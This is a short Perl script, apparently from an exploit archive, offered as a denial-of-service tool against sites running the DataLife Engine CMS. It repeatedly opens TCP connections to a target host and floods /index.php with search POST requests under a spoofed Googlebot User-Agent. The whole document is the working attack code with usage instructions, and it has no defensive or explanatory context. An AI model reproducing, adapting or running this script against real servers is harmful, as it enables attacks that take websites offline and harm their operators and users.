Datalife Engine Denial of Service

#!/usr/bin/perl
#####################################
# Datalife Engine Denial of Service
#       Code Written By Amir
#          Www.IrIsT.Ir
# Greats : B3HZ4D - C0dex - TaK.FaNaR - m3hdi - Beni_vanda - F@rid - Mr.F@rdin & All Member In Www.IrIsT.Ir/forum
#####################################
use IO::Socket;

$host = $ARGV[0];

if(!$ARGV[0])
{
    print "#################################################  \n";
    print "## Datalife Engine Denial of Service\n";
    print "##        Discoverd By Amir \n";
    print "##          Www.IrIsT.Ir      \n";
    print "#################################################  \n";
    print "## IrIsT-datalife-ddoser.pl host.com               \n";
    print "#################################################  \n";
    exit();
}
for($i=0; $i<99999; $i++)
{
    $socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr =>  $host, PeerPort => "80") or die("[-] Connection faild.\n");
    $post = "do=search&subaction=search&story=111111111111";
    $pack.= "POST " . "/index.php HTTP/1.1\r\n";
    $pack.= "Host: " .$host. "\r\n";
    $pack.= "User-Agent: Googlebot/2.1\r\n";
    $pack.= "Content-Type: application/x-www-form-urlencoded\r\n";
    $pack.= "Content-Length: " .length($post). "\r\n\r\n";
    $pack.= $post;
    print $socket $pack;
    syswrite STDOUT, "*";
}